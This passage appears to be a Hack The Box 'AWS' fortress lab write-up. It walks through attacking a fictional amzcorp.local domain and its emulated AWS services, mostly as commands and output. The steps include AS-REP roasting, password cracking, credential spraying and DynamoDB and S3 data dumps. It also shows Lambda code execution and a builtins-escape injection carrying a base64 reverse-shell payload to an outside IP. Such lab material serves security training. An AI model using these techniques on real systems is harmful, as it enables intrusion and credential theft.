Could you please activate the user account jameshauwnnel on the domain controller along with setting correct permissions for him.
Thanks,
Tom
Let's authenticate users with kerbrute
kerbrute userenum -d amzcorp.local --dc dc01.amzcorp.local users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> dc01.amzcorp.local:88
> [+] VALID USERNAME: jameshauwnnel@amzcorp.local
> Done! Tested 1 usernames (1 valid) in 0.169 seconds
We can try ASREPRoast. If the user has No Preauth, we can get a TGT
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ impacket-GetNPUsers amzcorp.local/jameshauwnnel -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for jameshauwnnel
$krb5asrep$23$jameshauwnnel@AMZCORP.LOCAL:d4723d67f7bccb36d274580ffa26b40c$ceaa092a5f12e7a2303b232578a5b51abfb8789316b1eca6c85a3465586a6a3807fa2db6d547752eff32798db1c28dba68430ff4496bc515d9c32fb384de5ab9694232ea8e91b96f7054c3f06a6bb84a8ef5cabaa8a2bafb3a5ac976bab35176ba692cc93520c4f0c34eeb13ee3a2e05cbb95977431b39ca10d8066e1cb6dfc1a5e623a458de8fb2d765daa868784d8adf53bea229f4ee69037c9bed066911d642ba6b8ade14aa6215059a4711db068c468afbaae083e22107f39c46b6cff40e2a439c4bc9d32b97d01a6a9188af43b956df0ebe3ae66378f70067c9311feafb6d9113992a213a1f39269dc8e735
Just using rockyou.txt will not work properly, we need to apply some regex
john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash --rules:d3ad0ne
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
654221p! ($krb5asrep$23$jameshauwnnel@AMZCORP.LOCAL)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Then we can use crackmapexec to check this credit
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ crackmapexec smb amzcorp.local -u jameshauwnnel -p 654221p! --shares
SMB dc01.amzcorp.local 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:amzcorp.local) (signing:True) (SMBv1:False)
SMB dc01.amzcorp.local 445 DC01 [+] amzcorp.local\jameshauwnnel:654221p!
SMB dc01.amzcorp.local 445 DC01 [+] Enumerated shares
SMB dc01.amzcorp.local 445 DC01 Share Permissions Remark
SMB dc01.amzcorp.local 445 DC01 ----- ----------- ------
SMB dc01.amzcorp.local 445 DC01 ADMIN$ Remote Admin
SMB dc01.amzcorp.local 445 DC01 C$ Default share
SMB dc01.amzcorp.local 445 DC01 IPC$ READ Remote IPC
SMB dc01.amzcorp.local 445 DC01 NETLOGON READ Logon server share
SMB dc01.amzcorp.local 445 DC01 Product_Release READ
SMB dc01.amzcorp.local 445 DC01 SYSVOL READ Logon server share
Then use impacket-smbclient download them
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ impacket-smbclient amzcorp.local/jameshauwnnel:'654221p!'@dc01.amzcorp.local
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Product_Release
# ls
drw-rw-rw- 0 Fri Jan 21 07:53:44 2022 .
drw-rw-rw- 0 Fri Jan 21 07:53:44 2022 ..
-rw-rw-rw- 18770248 Fri Jan 21 07:53:44 2022 AMZ-V1.0.11.128_10.2.112.chk
-rw-rw-rw- 838 Fri Jan 21 07:53:44 2022 AMZ-V1.0.11.128_10.2.112_Release_Notes.html
# mget *
[*] Downloading AMZ-V1.0.11.128_10.2.112.chk
[*] Downloading AMZ-V1.0.11.128_10.2.112_Release_Notes.html
#
Using binwalk we can extract the files from the .chk and find claves in one of the files that can be used to authenticate to AWS services.
_AMZ-V1.0.11.128_10.2.112.chk.extracted ❯ strings _database.extracted/104EF | head
dynamodbz
http://cloud.amzcorp.local
AKIA5M37BDN6CD7IQDFP
(HimNcdhuuNTYzG04Oiv9UhTfnCtKTFxDd8sO0Rue)
endpoint_url
aws_access_key_id
aws_secret_access_keyc
d d d
username
HASH)
We configure aws by providing the keys and using the reserved cloud domain as the endpoint, we make an sts call to see the current user, which is john
aws configure
AWS Access Key ID [None]: AKIA5M37BDN6CD7IQDFP
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
aws --endpoint-url http://cloud.amzcorp.local sts get-caller-identity | jq
{
"UserId": "AKIAC4G4H8J2K9K1L0M2",
"Account": "000000000000",
"Arn": "arn:aws:iam::000000000000:user/john"
}
In the .yml configuration file in company-support, we can see the permissions of user John, which can be dumped by scanning the users table of DynamoDB.
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ curl -s http://company-support.amzcorp.local/static/uploads/CF_Prod_Template.yml | sed -n 133,146p
JohnUser:
Type: 'AWS::IAM::User'
Properties:
UserName: john
Path: /
Policies:
- PolicyName: dynamodb-policy
PolicyDocument:
Version: 2012-10-17
Statement:
- Effect: Allow
Action:
- 'dynamodb:Scan'
Resource: '*'
So using aws we can simply use scan to dump the users table from dynamodb where we can find several possible users and their passwords
aws --endpoint-url http://cloud.amzcorp.local dynamodb scan --table-name users | jq
{
"Items": [
{
"password": {
"S": "dE2*5$fG"
},
"username": {
"S": "jason"
}
},
{
"password": {
"S": "cGh#@0_gJ"
},
"username": {
"S": "david"
}
},
{
"password": {
"S": "dF4G0982#4%!"
},
"username": {
"S": "olivia"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
Using jq we can create a user file and a password file
aws --endpoint-url http://cloud.amzcorp.local dynamodb scan --table-name users | jq -r '.Items[].username.S' > users.txt
aws --endpoint-url http://cloud.amzcorp.local dynamodb scan --table-name users | jq -r '.Items[].password.S' > passwords.txt
Then use crackmapexec crack the credits
crackmapexec smb amzcorp.local -u users.txt -p passwords.txt --continue-on-success --no-bruteforce
SMB amzcorp.local 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:amzcorp.local) (signing:True) (SMBv1:False)
SMB amzcorp.local 445 DC01 [-] amzcorp.local\jason:dE2*5$fG STATUS_LOGON_FAILURE
SMB amzcorp.local 445 DC01 [+] amzcorp.local\david:cGh#@0_gJ
SMB amzcorp.local 445 DC01 [-] amzcorp.local\olivia:dF4G0982#4%! STATUS_LOGON_FAILURE
Then we get david:cGh#@0_gJ
We can use this credit to connect with evil-winrm
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ evil-winrm -i amzcorp.local -u david -p cGh#@0_gJ
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\david\Documents>
You can find another flag in the desktop of david
*Evil-WinRM* PS C:\Users\david\Documents> dir
*Evil-WinRM* PS C:\Users\david\Documents> dir ../Desktop
Directory: C:\Users\david\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/23/2021 6:11 AM 72 flag.txt
*Evil-WinRM* PS C:\Users\david\Documents> type ../Desktop/flag.txt
AWS{h4ng_1n_th3r3_f0r_m0r3_cl0ud}
Jerry-built
In addition to david's WinRM credentials, olivia's credentials are used to log into the sub-domain workflow.amzcorp.local
olivia:dF4G0982#4%!

Then come to Admin > Variable, press Actions > Export, then you can get the access key

┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat variables.json
{
"AWS_ACCESS_KEY_ID": "AKIA5M34BDN8GCJGRFFB",
"AWS_SECRET_ACCESS_KEY": "cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn"
}
We configure aws by providing the key and using the reserved cloud domain as the endpoint, we make an sts call to view the current user will
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ aws configure
AWS Access Key ID [None]: AKIA5M34BDN8GCJGRFFB
AWS Secret Access Key [None]: cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn
Default region name [None]: us-east-1
Default output format [None]:
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ aws --endpoint-url http://cloud.amzcorp.local sts get-caller-identity | jq
{
"UserId": "AKIAIOSFODNN7DXV3G29",
"Account": "000000000000",
"Arn": "arn:aws:iam::000000000000:user/will"
}
Going back to the .yml file, we can see that this user can create and invoke lambda functions using the serviceadm role context for a period of time
WillUser:
Type: 'AWS::IAM::User'
Properties:
UserName: will
Path: /
Policies:
- PolicyName: lambda-policy
PolicyDocument:
Version: 2012-10-17
Statement:
- Effect: Allow
Action:
- 'Lambda:CreateFunction'
- 'Lambda:InvokeFunction'
- 'IAM:PassRole'
Resource: ['arn:aws:lambda:*:*:function:*','arn:aws:iam::*:role/serviceadm']
We first create an rce.py file that contains a lambda_handler function that will execute the id command, and then we create an rce.zip file that contains the command
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat rce.py
import os
def lambda_handler(event, context):
return os.popen("id").read()
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ zip rce.zip rce.py
adding: rce.py (deflated 7%)
Now we create a lambda function that will run using python3.8 and use the serviceadm rce.lambda_handler role from therce.zip file as the payload
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ aws --endpoint-url http://cloud.amzcorp.local lambda create-function --function-name id --runtime python3.8 --role "arn:aws:iam::000000000000:role/serviceadm" --handler rce.lambda_handler --zip-file fileb://rce.zip | jq
{
"FunctionName": "id",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:id",
"Runtime": "python3.8",
"Role": "arn:aws:iam::000000000000:role/serviceadm",
"Handler": "rce.lambda_handler",
"CodeSize": 238,
"Description": "",
"Timeout": 3,
"LastModified": "2025-08-01T12:05:48.824+0000",
"CodeSha256": "mAT2gbuP1o+aLWkpr6uSlm2grU6aJuqrXUm9wkkZJZo=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "789c55e9-f43d-4bf6-bb24-d298df4af060",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
We need to call this function and save the output in txt, when we execute it in the txt file, we can see the command id executed
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ aws --endpoint-url http://cloud.amzcorp.local lambda invoke --function-name id output.txt | jq
{
"StatusCode": 200,
"LogResult": "",
"ExecutedVersion": "$LATEST"
}
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat output.txt
"uid=993(sbx_user1051) gid=990 groups=990\n"
Something else to note is that when creating and calling this function using the service adm role, we are an administrator for the entire AWS service, so we can list these functions.
aws --endpoint-url http://cloud.amzcorp.local lambda list-functions | jq
{
"Functions": [
{
"FunctionName": "tracking_api",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:tracking_api",
"Runtime": "python3.8",
"Role": "arn:aws:iam::123456:role/irrelevant",
"Handler": "code.lambda_handler",
"CodeSize": 662,
"Description": "",
"Timeout": 3,
"LastModified": "2023-09-18T04:18:59.017+0000",
"CodeSha256": "HIkPHSeYh4DIQb5LaRF3ln8QjuajegZJsEyK8tCcxrU=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "5b7326f4-0090-403d-97ec-56101f1fdd69",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
{
"FunctionName": "shell",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:shell",
"Runtime": "python3.8",
"Role": "arn:aws:iam::000000000000:role/serviceadm",
"Handler": "rce.lambda_handler",
"CodeSize": 472,
"Description": "",
"Timeout": 3,
"LastModified": "2023-09-20T02:25:58.247+0000",
"CodeSha256": "/mvu/HR9/kYGlcBkDeEhAGro67O0xK9X4/F75mn+uCg=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "f819e703-0e7d-4027-8d82-e96a8db0098f",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
In addition to the functions we created, we can also see a very similar tracking_api that also runs with python3.8 and shows us code.zip
aws --endpoint-url http://cloud.amzcorp.local lambda get-function --function-name tracking_api | jq
{
"Configuration": {
"FunctionName": "tracking_api",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:tracking_api",
"Runtime": "python3.8",
"Role": "arn:aws:iam::123456:role/irrelevant",
"Handler": "code.lambda_handler",
"CodeSize": 662,
"Description": "",
"Timeout": 3,
"LastModified": "2023-09-18T04:18:59.017+0000",
"CodeSha256": "HIkPHSeYh4DIQb5LaRF3ln8QjuajegZJsEyK8tCcxrU=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "5b7326f4-0090-403d-97ec-56101f1fdd69",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://172.22.192.2:4566/2015-03-31/functions/tracking_api/code"
},
"Tags": {}
}
We export the data into a code.zip file, which leaves 2 files after extraction, a code.py file containing the configuration and a flag.txt file containing the flags
unzip code.zip
Archive: code.zip
inflating: code.py
inflating: flag.txt
cat flag.txt
AWS{i4m_w3ll_bu1lt_w1th0ut_bu1lt1ns}
cat code.py
import json
from urllib.parse import unquote
def lambda_handler(event, context):
try:
tracking_id = event['queryStringParameters']['id']
tid = "id : '{}'"
exec(tid.format(unquote(unquote(tracking_id))),{"__builtins__": {}}, {})
# ToDo : Integrate with graphql in Q4
if tid:
return {
'statusCode': 200,
'body': json.dumps('Internal Server Error')
}
except Exception as e:
return {
'statusCode': 500,
'body': json.dumps(f'Invalid Tracking ID. {e}')
}
We create a json file, use builtins to escape and execute base64 data in the id field received by the function, which will send us a shell
cat payload.json | jq
{
"queryStringParameters": {
"id": "1';a = [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuOCIsNDQzKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIiknCg== | base64 -d | bash'); b = 'a"
}
}
aws --endpoint http://cloud.amzcorp.local lambda invoke --function-name tracking_api --payload fileb://payload.json output.txt | jq
{
"StatusCode": 200
}
Then we can get the shell as sbx_user1051
nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.13.37.15
bash-4.2$ id
uid=993(sbx_user1051) gid=990 groups=990
bash-4.2$ ls -l
-rwxr-xr-x 1 sbx_user1051 990 594 Jan 12 2022 code.py
-rwxr-xr-x 1 sbx_user1051 990 37 Jan 17 2022 flag.txt
-rwxr-xr-x 1 sbx_user1051 990 662 Sep 18 04:18 original_lambda_archive.zip
drwxrwxrwx 1 sbx_user1051 990 0 Sep 20 00:40 __pycache__
bash-4.2$ cat flag.txt
AWS{i4m_w3ll_bu1lt_w1th0ut_bu1lt1ns}
bash-4.2$
Line Up
As an administrator of the AWS service, we can list the queues under SQS and find the sensor_updates queue from which we can receive messages.
aws --endpoint-url http://cloud.amzcorp.local sqs list-queues | jq
{
"QueueUrls": [
"http://localhost:4566/000000000000/sensor_updates"
]
}
Using receive-message we can receive messages under this queue. The first message will show us temperatura but when repeated several times it will show us flag.
aws --endpoint-url http://cloud.amzcorp.local sqs receive-message --queue-url http://cloud.amzcorp.local/000000000000/sensor_updates | jq
{
"Messages": [
{
"MessageId": "2195d706-bb53-f3aa-d2a3-ddd83f81c4da",
"ReceiptHandle": "zvyozyqrxfacrzsnobguwjhxhnlazgxazvuzeayhnlfrdfovtsmbauyeonpfdnmsttgzsjgyxggyxchfdcwiwbkghophrzwbomkacwslfxbdvyxslibgplkzqeosrxexxicjfhhniggjktrfniwcrssndrlyxtyqucabrkbxkneqdavhobzeomkno",
"MD5OfBody": "7c9db777266f3ef48480f0e9773139a9",
"Body": "Temperature: 24°c"
}
]
}
aws --endpoint-url http://cloud.amzcorp.local sqs receive-message --queue-url http://cloud.amzcorp.local/000000000000/sensor_updates | jq
{
"Messages": [
{
"MessageId": "56b56c7b-0e55-ffcf-47fd-446aa12861b5",
"ReceiptHandle": "rnqrcrdcfhpdknpyhyttmjdcipbxkojhnhqcyeoyejsxpkvzjazidwhhebjaegbjxbdvfrotgmymtioyelmfvohvthrypstiauvytrdpizamhsmmqgrtydcvqjevqnotpzmitcjardeowhtmyjvcqfgfsgsdhsacznayezexwhpbdesserilnksku",
"MD5OfBody": "724e0f5cb704edcfa5497ec156f713e6",
"Body": "Faulty Reading. AWS{th4ts_4_l0ng_Q}"
}
]
}
Demolish
We can also list the objects in the databases bucket, and the only object that caught our attention was amzcorp_users.db , which we can use to get the credentials.
aws --endpoint-url http://cloud.amzcorp.local s3api list-objects --bucket databases | jq
{
"Contents": [
{
"Key": "amzcorp_emp_data.db",
"LastModified": "2023-09-19T16:12:38+00:00",
"ETag": "\"6f018ec428e38f1afebcbc26e12d994a\"",
"Size": 12288,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
},
{
"Key": "amzcorp_orders.db",
"LastModified": "2023-09-19T16:12:37+00:00",
"ETag": "\"e3650f8b06b5fcb3c72a7c53219a9053\"",
"Size": 12288,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
},
{
"Key": "amzcorp_products.db",
"LastModified": "2023-09-19T16:12:39+00:00",
"ETag": "\"72cf5ef0412404ed5636801a20e8397f\"",
"Size": 12288,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
},
{
"Key": "amzcorp_users.db",
"LastModified": "2023-09-19T16:12:38+00:00",
"ETag": "\"834b3fbb81109790a798385d5987a5fd\"",
"Size": 12288,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
}
]
}
We can execute get-object to download amzcorp_users.db to our computer
aws --endpoint-url http://cloud.amzcorp.local s3api get-object --bucket databases --key amzcorp_users.db amzcorp_users.db | jq
{
"AcceptRanges": "bytes",
"LastModified": "2023-09-19T16:12:38+00:00",
"ContentLength": 12288,
"ETag": "\"834b3fbb81109790a798385d5987a5fd\"",
"ContentLanguage": "en-US",
"ContentType": "binary/octet-stream",
"Metadata": {}
}
As a sqlite3 format file, we can open it with sqlitebrowser and in the users table we can find different users and their possible passwords

Then we can use crackmapexec to enumerate the valid credit like before
crackmapexec smb amzcorp.local -u Administrator -p passwords.txt
SMB amzcorp.local 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:amzcorp.local) (signing:True) (SMBv1:False)
SMB amzcorp.local 445 DC01 [-] amzcorp.local\Administrator:Summer2021! STATUS_LOGON_FAILURE
SMB amzcorp.local 445 DC01 [-] amzcorp.local\Administrator:amz@123 STATUS_LOGON_FAILURE
SMB amzcorp.local 445 DC01 [+] amzcorp.local\Administrator:K2h3v4n@#!5_34 (Pwn3d!)
Then we can get the credit Administrator:K2h3v4n@#!5_34
Finally, we can use evil-winrm to connect as Administrator
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ evil-winrm -i amzcorp.local -u Administrator -p 'K2h3v4n@#!5_34'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/flag.txt
AWS{wr3ck3d_r3s1st0r}
Description
Insane CTF machine, the most difficult one among the 6 fortness.